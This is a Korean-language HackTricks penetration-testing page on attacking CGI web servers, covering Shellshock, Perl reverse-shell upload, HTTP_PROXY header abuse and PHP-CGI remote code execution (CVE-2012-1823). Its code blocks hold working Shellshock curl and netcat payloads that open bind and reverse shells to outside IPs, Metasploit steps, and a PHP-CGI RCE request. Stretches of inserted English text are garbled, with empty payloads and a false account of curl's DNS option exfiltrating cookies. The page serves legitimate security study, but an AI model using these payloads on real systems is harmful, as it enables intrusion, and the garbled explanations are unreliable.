htARTE (HackTricks AWS Red Team Expert)을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
# 정보
**CGI 스크립트는 perl 스크립트**이므로, **.cgi** 스크립트를 실행할 수 있는 서버를 침투했다면, perl 역쉘이 있는 **/usr/share/webshells/perl/perl-reverse-shell.pl**을 업로드할 수 있습니다. **.pl** 확장자를 **.cgi**로 변경하고, **실행 권한**을 부여한 다음, 웹 브라우저에서 역쉘에 **접근**하여 실행할 수 있습니다.
**CGI 취약점**을 테스트하기 위해 `nikto -C all` \(및 모든 플러그인\)을 사용하는 것이 좋습니다.
# **ShellShock**
**ShellShock**는 유닉스 기반 운영 체제에서 널리 사용되는 **Bash** 명령 줄 셸에 영향을 주는 취약점입니다. 이 취약점은 Bash가 응용 프로그램에서 전달된 명령을 실행하는 능력을 대상으로 합니다. 취약점은 프로세스가 컴퓨터에서 실행되는 방식에 영향을 주는 동적으로 명명된 값인 **환경 변수**의 조작에 있습니다. 공격자는 환경 변수에 **악성 코드**를 첨부하여 변수를 수신하면 실행됩니다. 이를 통해 공격자는 시스템을 잠재적으로 침해할 수 있습니다.
이 취약점을 악용하면 **페이지에서 오류가 발생**할 수 있습니다.
이 취약점을 **찾을 수 있습니다**. 오래된 Apache 버전을 사용하거나 cgi\_mod \(cgi 폴더 포함\)를 사용하거나 nikto를 사용하는 것을 알아차릴 수 있습니다.
## **테스트**
대부분의 테스트는 어떤 것을 echo하고 그 문자열이 웹 응답에서 반환되는지 기대하는 것입니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하세요.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(반사, 블라인드 및 외부밴드\)**
Curl is a command-line tool used for making HTTP requests. It can be used to test and exploit various vulnerabilities in web applications. In this section, we will discuss three types of Curl-based attacks: reflected, blind, and out-of-band attacks.
### **Reflected Attacks**
Reflected attacks involve injecting malicious code into user input that is then reflected back in the server's response. This type of attack is commonly found in web applications that do not properly sanitize user input.
To perform a reflected attack using Curl, you can use the `-d` or `--data` option to send the payload as part of the HTTP request. For example:
```bash
curl -d "payload=" http://example.com/page
```
In this example, the payload is a JavaScript code that will be executed when the server reflects it back in the response. This can be used to perform cross-site scripting (XSS) attacks.
### **Blind Attacks**
Blind attacks are similar to reflected attacks, but the server does not directly reflect the injected code in its response. Instead, the attacker needs to find a way to extract the response indirectly.
To perform a blind attack using Curl, you can use the `-o` or `--output` option to save the response to a file. For example:
```bash
curl -o response.txt http://example.com/page?payload=
```
In this example, the payload is a JavaScript code that redirects the user to the attacker's website and includes their cookie information in the URL. By checking the contents of the `response.txt` file, the attacker can extract the user's cookie.
### **Out-of-Band Attacks**
Out-of-band attacks involve sending data from the target server to an external server controlled by the attacker. This can be useful when the attacker cannot directly access the server's response.
To perform an out-of-band attack using Curl, you can use the `--dns` option to make DNS requests to the attacker's server. For example:
```bash
curl --dns-ipv4-addr=attacker.com http://example.com/page?payload=
```
In this example, the payload is an HTML image tag that triggers an error and sends the user's cookie data to the attacker's server. By monitoring the DNS requests made to `attacker.com`, the attacker can extract the user's cookie.
These are just a few examples of how Curl can be used to perform reflected, blind, and out-of-band attacks. It is important to note that these attacks should only be performed on systems that you have permission to test.
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)은 Shellshock 취약점을 이용한 웹 서버 취약점 스캐너입니다. Shellshock는 웹 서버에서 발견된 취약점으로, 원격에서 악의적인 코드 실행을 허용할 수 있습니다. Shellsocker는 이러한 취약점을 자동으로 탐지하고 스캔하여 웹 서버의 보안을 강화하는 데 도움을 줍니다.
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Exploit (악용)
Once you have identified a CGI script on a web server, the next step is to exploit it. Exploiting a CGI script involves finding vulnerabilities or weaknesses in the script that can be leveraged to gain unauthorized access or perform malicious actions.
### Common CGI Exploits (일반적인 CGI 악용)
1. Command Injection (명령 주입): This exploit occurs when an attacker is able to inject malicious commands into the CGI script, which are then executed by the server. This can allow the attacker to execute arbitrary commands on the server and potentially gain full control.
2. File Inclusion (파일 포함): This exploit occurs when an attacker is able to include arbitrary files in the CGI script, which can lead to the disclosure of sensitive information or the execution of malicious code.
3. Path Traversal (경로 탐색): This exploit occurs when an attacker is able to manipulate the file path used by the CGI script, allowing them to access files outside of the intended directory. This can lead to the disclosure of sensitive information or the execution of arbitrary code.
4. Remote Code Execution (원격 코드 실행): This exploit occurs when an attacker is able to execute arbitrary code on the server by exploiting a vulnerability in the CGI script. This can allow the attacker to gain full control over the server.
### Exploit Tools (악용 도구)
There are several tools available that can assist in exploiting CGI scripts. Some popular ones include:
- **Metasploit Framework**: A powerful framework that provides a wide range of exploits, including those targeting CGI scripts.
- **Nikto**: A web server scanner that can identify vulnerabilities in CGI scripts and provide potential exploits.
- **ExploitDB**: A comprehensive database of exploits that can be used to search for specific vulnerabilities in CGI scripts.
### Manual Exploitation (수동 악용)
In addition to using automated tools, manual exploitation can also be performed by analyzing the CGI script and identifying potential vulnerabilities. This can involve examining the script's source code, input validation, and error handling mechanisms.
Once a vulnerability is identified, the attacker can craft a payload or exploit code to take advantage of the vulnerability and gain unauthorized access or perform malicious actions.
### Countermeasures (대응책)
To protect against CGI exploits, it is important to implement the following countermeasures:
- **Input Validation**: Ensure that all user input is properly validated and sanitized to prevent command injection, file inclusion, and path traversal attacks.
- **Secure Configuration**: Configure the web server and CGI scripts to run with the least privileges necessary and disable unnecessary features or functionality.
- **Regular Updates**: Keep the web server and CGI scripts up to date with the latest security patches and updates to mitigate known vulnerabilities.
- **Web Application Firewall (WAF)**: Implement a WAF to monitor and filter incoming requests to the web server, blocking known CGI exploits.
By implementing these countermeasures, the risk of CGI exploits can be significantly reduced, helping to protect the web server and the sensitive data it contains.
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **프록시 (MitM을 통한 웹 서버 요청)**
CGI는 HTTP 요청의 각 헤더에 대해 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP\_HOST"="web.com"으로 생성됩니다.
HTTP\_PROXY 변수는 웹 서버에서 사용될 수 있습니다. "**Proxy: <IP\_attacker>:<PORT>**"라는 **헤더**를 보내보고, 서버가 세션 동안 어떤 요청을 수행하는지 확인해보세요. 그러면 서버가 수행한 각 요청을 캡처할 수 있습니다.
# 오래된 PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
기본적으로 cgi가 활성화되어 있고 php가 "오래된" 경우 \(<5.3.12 / < 5.4.2\), 코드를 실행할 수 있습니다.
이 취약점을 악용하려면, 파라미터를 보내지 않고 웹 서버의 어떤 PHP 파일에 액세스해야 합니다 (특히 "=" 문자를 보내지 않고).
그런 다음, 이 취약점을 테스트하기 위해 `/index.php?-s` (주의: `-s`)와 같이 액세스할 수 있으며, 응답에는 응용 프로그램의 **소스 코드**가 표시됩니다.
그런 다음, **RCE**를 얻기 위해 다음과 같은 특수 쿼리를 보낼 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 **요청 본문에 실행할 PHP 코드를 포함**합니다.
예시:
```bash
curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**취약점과 가능한 공격에 대한 자세한 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.